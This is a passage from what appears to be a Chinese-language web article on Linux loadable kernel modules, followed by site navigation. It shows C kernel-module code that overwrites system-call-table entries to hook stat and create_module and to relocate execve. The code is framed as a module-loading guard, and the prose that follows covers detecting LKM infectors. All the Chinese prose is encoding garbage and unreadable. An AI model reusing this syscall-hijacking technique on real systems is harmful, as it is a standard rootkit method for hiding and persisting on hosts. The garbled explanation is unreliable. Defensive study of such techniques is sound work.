¡¡¡¡ret = orig_stat(filename, buf);

¡¡¡¡}

¡¡¡¡return ret;

¡¡¡¡}

¡¡¡¡int hacked_create_module(char *name, unsigned long size)

¡¡¡¡{

¡¡¡¡char *kernel_name;

¡¡¡¡char hide[]="ourtool";

¡¡¡¡int ret;

¡¡¡¡if (lock_mod==1)

¡¡¡¡{

¡¡¡¡lock_mod=0;

¡¡¡¡ret=orig_create_module(name, size);

¡¡¡¡return ret;

¡¡¡¡}

¡¡¡¡else

¡¡¡¡{

¡¡¡¡printk("<1>MOD-POL : Permission denied !\n");

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡return ret;

¡¡¡¡}

¡¡¡¡int init_module(void)

¡¡¡¡/*³õʼ»¯Ä£¿é*/

¡¡¡¡{

¡¡¡¡__NR_myexecve = 200;

¡¡¡¡while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

¡¡¡¡__NR_myexecve--;

¡¡¡¡sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];

¡¡¡¡orig_stat=sys_call_table[SYS_prev_stat];

¡¡¡¡sys_call_table[SYS_prev_stat]=hacked_stat;

¡¡¡¡orig_create_module=sys_call_table[SYS_create_module];

¡¡¡¡sys_call_table[SYS_create_module]=hacked_create_module;

¡¡¡¡printk("<1>MOD-POL LOADED...\n");

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡void cleanup_module(void)

¡¡¡¡/*Ð¶ÔØÄ£¿é*/

¡¡¡¡{

¡¡¡¡sys_call_table[SYS_prev_stat]=orig_stat;

¡¡¡¡sys_call_table[SYS_create_module]=orig_create_module;

¡¡¡¡}

¡¡¡¡´úÂë±¾ÉíºÜÇå³þ.ÏÂÃæ½«»á¸æËßÄãÈçºÎ²ÅÄÜÈÃÄãµÄLKM¸ü°²È«,Ò²ÐíÕâÓÐһЩ¶àÒÉÁË :) :

¡¡¡¡Ê¹ÓÃÁíÍâÒ»ÖÖ¼ìÑ鷽ʽ(ʹÓÃÄã×Ô¼ºµÄÓû§¿Õ¼ä½Ó¿Ú,ʹÓÃÄã×Ô¼ºµÄϵͳµ÷ÓÃ;ʹÓÃÓû§µÄID(¶ø²»½ö½öÊÇÆÕͨµÄÃÜÂë);Ò²ÐíÄãÓÐÒ»¸öÉúÎï¼à²âÉ豸->¶ÁһЩÎĵµ²¢ÇÒÔÚlinuxϱàд×Ô¼ºµÄÉ豸Çý¶¯,È»ºóʹÓÃËû :) ...)µ«ÊÇ,Òª¼Çס:ÄÄÅÂÊÇ×ȫµÄÓ²¼þ±£»¤(Èí¼þ¹·,ÉúÎï¼à²âϵͳ,һЩӲ¼þ¿¨)Ò²³£³£´àÈõµÄ²»°²È«µÄÈí¼þ¶ø±»»÷°Ü.Äã¿ÉÒÔʹÓÃÒ»ÖÖÕâÑùµÄ»úÖÆÀ´ÈÃÄãµÄϵͳ±äµÃ°²È«:ÓÃÒ»¿éÓ²¼þ¿¨À´¿ØÖÆÄãµÄÕû¸öÄÚºË.

¡¡¡¡ÁíÍâÒ»ÖÖ²»Õâô¼«¶ËµÄ·½·¨¿ÉÒÔÊÇдÄã×Ô¼ºµÄϵͳµ÷ÓÃÀ´¸ºÔðУÑé.(¼û2.11,ÄÇÀïÓÐÒ»¸ö´´½¨Ò»¸öÄã×Ô¼ºµÄϵͳµ÷ÓõÄÀý×Ó)

¡¡¡¡ÕÒµ½Ò»¸ö¸üºÃµÄ·½·¨ÔÚsys_create_module(...)ÖнøÐмì²é.¼ì²éÒ»¸ö±äÁ¿²¢²»ÊÇÊ®·ÖµÄ°²È«.Èç¹ûijЩÈË¿ØÖÆÁËÄãµÄϵͳ.ËûÊÇ¿ÉÒÔÐÞ¸ÄÄÚ´æµÄ(¼ûÏÂÒ»ÕÂ)

¡¡¡¡ÕÒµ½Ò»¸ö·½·¨Ê¹µÃÒ»¸öÈëÇÖÕßûÓа취ͨ¹ýÄãµÄУÑéÀ´¼ÓÔØËûµÄLKM

¡¡¡¡¼ÓÈëÒþ²ØµÄ¹¦ÄÜ.

¡¡¡¡...

¡¡¡¡Óкܶ๤×÷¿ÉÒÔ×ö.µ«ÊǼ´Ê¹ÓÐÁËÕâЩ¹¤×÷,ÄãµÄϵͳҲ²»ÊÇÍêÈ«¾ÍÊǰ²È«µÄ.Èç¹ûijЩÈË¿ØÖÆÁËÄãµÄϵͳ,ËûÊÇ¿ÉÒÔ·¢ÏÖһЩ·½·¨À´¼ÓÔØËûµÄLKMµÄ(¼ûÏÂÒ»ÕÂ);ÉõÖÁËû²¢²»ÐèÒªÒ»¸öLKM,ÒòΪËûÖ»ÊÇ¿ØÖÆÁËÕâ¸öϵͳ,²¢²»ÏëÒþ²ØÎļþ»òÕß½ø³Ì(ºÍÆäËûµÄLKMÌṩµÄÃÀÃîµÄ¹¦ÄÜ).

¡¡¡¡3.2 ·ÀÖ¹LKM´«È¾Õߵķ½·¨

¡¡¡¡ÄÚ´æ×¤ÁôµÄɨÃè³ÌÐò(ʵʱµÄ)(¾ÍÏñDOSϵÄTSR²¡¶¾É¨Ãè;»òÕßWIN9xϵÄVxD²¡¶¾É¨Ãè)

¡¡¡¡Îļþ¼ì²éɨÃèÆ÷(¼ì²éÄ£¿éÎļþÀïÃæµÄÌØÕ÷×Ö´®)

¡¡¡¡µÚÒ»ÖÖ·½·¨¿ÉÒÔͨ¹ýÀ¹½Øsys_create_moduleʵÏÖ(»òÕßinit_moduleµ÷ÓÃ).µÚ¶þÖÖ·½·¨ÐèҪһЩģ¿éÎļþµÄÌØÕ÷×Ö´®.Òò´ËÎÒÃDZØÐë¼ì²éÁ½¸öelfÎļþÍ·»òÕß±ê־λ.µ±È»,ÆäËûµÄһЩLKM´«È¾Õß¿ÉÄÜʹÓÃһЩ¸Ä½øÁ˵ķ½·¨.(¼ÓÃÜ,×ÔÎÒ¸ü¸Ä´úÂëµÈµÈ).ÎÒ²»»áÌṩһ¸ö¼ì²éÎļþµÄɨÃèÆ÷.ÒòΪÄãÖ»²»¹ýÐèҪдһ¸öСµÄÓû§¿Õ¼äµÄ³ÌÐòÀ´¶Á½øÄ£¿éÎļþ,²¢ÇÒ¼ì²éÁ½ÖÖelfÎļþÍ·('ELF'×Ö·û´®,±ÈÈç)

Ïà¹ØÎÄÕ ÈÈÃÅÎÄÕÂ
  • Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ
  • Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ(3)
  • Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ(1)
  • linuxµÄ»ù±¾²Ù×÷£¨ÉÏ£©
  • LinuxϵͳÏÂÓ¦ÓÃ֪ʶ´óÜöÝÍ
  • GNU GRUBÆô¶¯¹ÜÀíÆ÷
  • ÖÆ×÷»ùÓÚÈíÅ̵ÄLinuxϵͳ
  • ÍøÂçÅäÖÃÎļþ¿ìËÙ½â¶Á
  • linuxµÄ»ù±¾²Ù×÷£¨Ï£©
  • ÆÊÎöLinuxϵͳÆô¶¯¹ý³Ì
  • DameWareÈþÖÓòÍø¹ÜÀí²»ÔÙ·±Ëö
  • ÔÚRedhat 9ÏÂʵÏÖË«»úÈȱ¸ºÍ¼¯Èº¹¦ÄÜ
  • LINUXÊØ»¤½ø³Ì½éÉÜ
  • Redhat advance server 2.1¼¯ÈºµÄ°²×°Óë¹ÜÀí
  • Linux±ØÐëѧ»áµÄ60¸öÃüÁî-Îļþ´¦Àí
  • ×ÔÓÉ¹ã¸æÇø
    ¡¡
     
    ×îÐÂÈí¼þÏÂÔØ
  • ORF Enterprise Edition 4.2 Õýʽ°æ
  • WinWebMail 3.7.7.3 ±ê×¼°æ
  • WinWebMail 3.7.7.3 ÆóÒµ°æ
  • BMailì÷ÓÊ
  • Merak Email Server for Windows 9.3.1..
  • Merak Email Server for Linux 9.3.1 ¼..
  • Merak Email Server 9.3.1 For Windwos..
  • AXIGEN Mail Server 6.1.1 for Windows
  • AXIGEN Mail Server 6.1.0 for Linux
  • ADModify.NETÏÂÔØ
  • symantec10.1»ù±¾°²×°¼°ÅäÖÃÊÓÆµ½Ì³Ì
  • Backup Exec System RecoveryÖ®±¸·ÝÊÓÆ..
  • ½ñÈÕÓʼþ¼¼ÊõÎÄÕÂ
  • ÃÀ´óѧÉúÇÖÈëÅåÁÖÖݳ¤¸öÈËÓʼþÕË»§±»´þ²¶
  • ˼¿ÆIronPort·¢²¼Ðµç×ÓÓʼþ°²È«É豸
  • Éî¸û"Èí¼þ+·þÎñ" ΢Èí300³ÇÊÐѲչî£ÓÊ
  • ´ÓºÚ¿Í³£Óù¥»÷Êֶο´WEBÓ¦Ó÷À»¤
  • ÏûÏ¢ÈËʿ͸¶ÑÅ»¢ÓëAOLºÏ²¢Ï¸½Ú½«ÓÚ±¾Ô..
  • ¹È¸èÌṩµÄµç×ÓÓʼþ´æµµÊ±¼äÑÓ³¤ÎªÊ®Äê
  • ÑÅ»¢½«ÔÚÓÊÏä·þÎñÖÐÕûºÏаæÔÚÏßÈÕÀú
  • 9ÔÂÀ¬»øÓʼþ×ÜÁ¿¼õÉÙ ÓëISPµ¹±ÕÓйØ
  • À¬»øÓʼþ·¢Õ¹µÄËÄ´óÇ÷ÊÆ
  • º«¹úÒéÔ±³ÆÖйúºÚ¿Íð³äÇàÍß̨·¢ËͲ¡¶¾..
  • VistaÄÑ³ÉÆøºò Windows XPÊÙÃü±»ÑÓ³¤
  • ÈüÃÅÌú¿ËÉý¼¶DLP²úÆ·¼°·´À¬»øÓʼþÍø¹Ø
  • ×îÐÂרÌâ
  • Sendmail ÓʼþϵͳÅäÖÃ
  • ×齨Exchange 2003Óʼþϵͳ
  • Windows Server 2008 רÌâ
  • ORF ·´À¬»øÓʼþϵͳ
  • Exchange Server 2007 רÌâ
  • ISA Server 2006 ½Ì³ÌרÌâ
  • Windows Vista ¼¼ÊõרÌâ
  • ¡°ºÚÝ®¡±£¨BlackBerry£©×¨Ìâ
  • ÒÆ¶¯µç×ÓÓʼþרÌâ
  • Apache James רÌâ
  • IMail Server ²Ù×÷Ö¸ÄÏ
  • ISA Server 2004 ʹÓÃרÌâ
  • ·ÖÀർº½
    ÓʼþÐÂÎÅ×ÊѶ:
    ITÒµ½ç | Óʼþ·þÎñÆ÷ | ÓʼþȤÎÅ | ÒÆ¶¯µçÓÊ
    µç×ÓÓÊÏä | ·´À¬»øÓʼþ|Óʼþ¿Í»§¶Ë|ÍøÂ簲ȫ
    ÐÐÒµÊý¾Ý | ÓʼþÈËÎï | ÍøÕ¾¹«¸æ | ÐÐÒµ·¨¹æ
    ÍøÂç¼¼Êõ:
    ÓʼþÔ­Àí | ÍøÂçЭÒé | ÍøÂç¹ÜÀí | ´«Êä½éÖÊ
    Ïß·½ÓÈë | ·ÓÉ½Ó¿Ú | Óʼþ´æ´¢ | »ªÎª3Com
    CISCO¼¼Êõ | ÍøÂçÓë·þÎñÆ÷Ó²¼þ
    ²Ù×÷ϵͳ:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | ÆäËü²Ù×÷ϵͳ
    Óʼþ·þÎñÆ÷:
    ³ÌÐòÓ뿪·¢ | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    ½ðµÑÓʼþϵͳ | ÆäËü |
    ·´À¬»øÓʼþ:
    ×ÛÊö| ¿Í»§¶Ë·´À¬»øÓʼþ|·þÎñÆ÷¶Ë·´À¬»øÓʼþ
    Óʼþ¿Í»§¶ËÈí¼þ:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | À×Äñ | Eudora |Becky! |Pegasus
    IncrediMail |ÆäËü
    µç×ÓÓÊÏä: ¸öÈËÓÊÏä | ÆóÒµÓÊÏä |Gmail
    ÒÆ¶¯µç×ÓÓʼþ:·þÎñÆ÷ | ¿Í»§¶Ë | ¼¼ÊõÇ°ÑØ
    ÓʼþÍøÂ簲ȫ:
    Èí¼þ©¶´ | °²È«ÖªÊ¶ | ²¡¶¾¹«¸æ |·À»ðǽ
    ¹¥·À¼¼Êõ | ²¡¶¾²éɱ| ISA | Êý×ÖÇ©Ãû
    ÓʼþÓªÏú:
    EmailÓªÏú | ÍøÂçÓªÏú | ÓªÏú¼¼ÇÉ |ÓªÏú°¸Àý
    ÓʼþÈ˲Å:ÕÐÆ¸ | Ö°³¡ | Åàѵ | Ö¸ÄÏ | Ö°³¡
    ½â¾ö·½°¸:
    Óʼþϵͳ|·´À¬»øÓʼþ |°²È« |ÒÆ¶¯µçÓÊ |Õбê
    ²úÆ·ÆÀ²â:
    Óʼþϵͳ |·´À¬»øÓʼþ |ÓÊÏä |°²È« |¿Í»§¶Ë
    ¹ã¸æÁªÏµ | ºÏ×÷ÁªÏµ | ¹ØÓÚÎÒÃÇ | ÁªÏµÎÒÃÇ | ·±ówÖÐÎÄ
    °æÈ¨ËùÓУºÓʼþ¼¼Êõ×ÊÑ¶Íø©2003-2007 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   ÔÁICP±¸05009143ºÅ